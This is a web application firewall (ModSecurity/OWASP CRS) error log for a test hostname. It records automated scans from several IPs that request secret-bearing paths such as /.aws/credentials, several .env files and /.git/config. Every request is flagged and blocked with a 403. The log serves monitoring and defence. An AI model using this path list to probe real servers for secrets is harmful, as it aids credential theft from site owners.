[Wed May 21 18:08:49.611622 2025] [:error] [pid 3303770] [client 35.168.190.204:51494] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kenlOQrEBb9VzygN4wAAAAU&quot;]
[Wed May 21 18:08:49.830425 2025] [:error] [pid 3313763] [client 35.168.190.204:51498] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kalrZcVgbNHtEmfVTAAAAAo&quot;]
[Wed May 21 18:08:49.830699 2025] [:error] [pid 3313763] [client 35.168.190.204:51498] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kalrZcVgbNHtEmfVTAAAAAo&quot;]
[Wed May 21 18:08:49.830894 2025] [:error] [pid 3313763] [client 35.168.190.204:51498] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kalrZcVgbNHtEmfVTAAAAAo&quot;]
[Wed May 21 18:08:50.596835 2025] [:error] [pid 3313764] [client 35.168.190.204:51508] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kt2NxWiruqAlaSeOEwAAAAs&quot;]
[Wed May 21 18:08:50.597130 2025] [:error] [pid 3313764] [client 35.168.190.204:51508] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kt2NxWiruqAlaSeOEwAAAAs&quot;]
[Wed May 21 18:08:50.597309 2025] [:error] [pid 3313764] [client 35.168.190.204:51508] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aC36kt2NxWiruqAlaSeOEwAAAAs&quot;]
[Wed May 21 18:08:50.802731 2025] [:error] [pid 3303765] [client 35.168.190.204:51512] [client 35.168.190.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kpML5PFy9d0VqD6U4AAAAAQ&quot;]
[Wed May 21 18:08:50.802997 2025] [:error] [pid 3303765] [client 35.168.190.204:51512] [client 35.168.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kpML5PFy9d0VqD6U4AAAAAQ&quot;]
[Wed May 21 18:08:50.803178 2025] [:error] [pid 3303765] [client 35.168.190.204:51512] [client 35.168.190.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aC36kpML5PFy9d0VqD6U4AAAAAQ&quot;]
[Tue May 27 00:39:44.222640 2025] [:error] [pid 3430964] [client 45.144.212.129:57594] [client 45.144.212.129] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDTtsEqFBuD164aWH7iYIgAAAAg&quot;]
[Tue May 27 00:39:44.224968 2025] [:error] [pid 3430964] [client 45.144.212.129:57594] [client 45.144.212.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDTtsEqFBuD164aWH7iYIgAAAAg&quot;]
[Tue May 27 00:39:44.225148 2025] [:error] [pid 3430964] [client 45.144.212.129:57594] [client 45.144.212.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDTtsEqFBuD164aWH7iYIgAAAAg&quot;]
[Tue May 27 03:55:09.277443 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukTQAAABA&quot;]
[Tue May 27 03:55:09.277692 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukTQAAABA&quot;]
[Tue May 27 03:55:09.277860 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukTQAAABA&quot;]
[Tue May 27 03:55:09.300143 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukTgAAABA&quot;]
[Tue May 27 03:55:09.300372 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukTgAAABA&quot;]
[Tue May 27 03:55:09.300551 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukTgAAABA&quot;]
[Tue May 27 03:55:09.322870 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukTwAAABA&quot;]
[Tue May 27 03:55:09.323089 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukTwAAABA&quot;]
[Tue May 27 03:55:09.323246 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukTwAAABA&quot;]
[Tue May 27 03:55:09.369122 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukUQAAABA&quot;]
[Tue May 27 03:55:09.369337 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukUQAAABA&quot;]
[Tue May 27 03:55:09.369501 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukUQAAABA&quot;]
[Tue May 27 03:55:09.391871 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukUgAAABA&quot;]
[Tue May 27 03:55:09.392113 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukUgAAABA&quot;]
[Tue May 27 03:55:09.392273 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukUgAAABA&quot;]
[Tue May 27 03:55:09.414552 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukUwAAABA&quot;]
[Tue May 27 03:55:09.414761 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukUwAAABA&quot;]
[Tue May 27 03:55:09.414920 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukUwAAABA&quot;]
[Tue May 27 03:55:09.437358 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukVAAAABA&quot;]
[Tue May 27 03:55:09.437572 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukVAAAABA&quot;]
[Tue May 27 03:55:09.437728 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukVAAAABA&quot;]
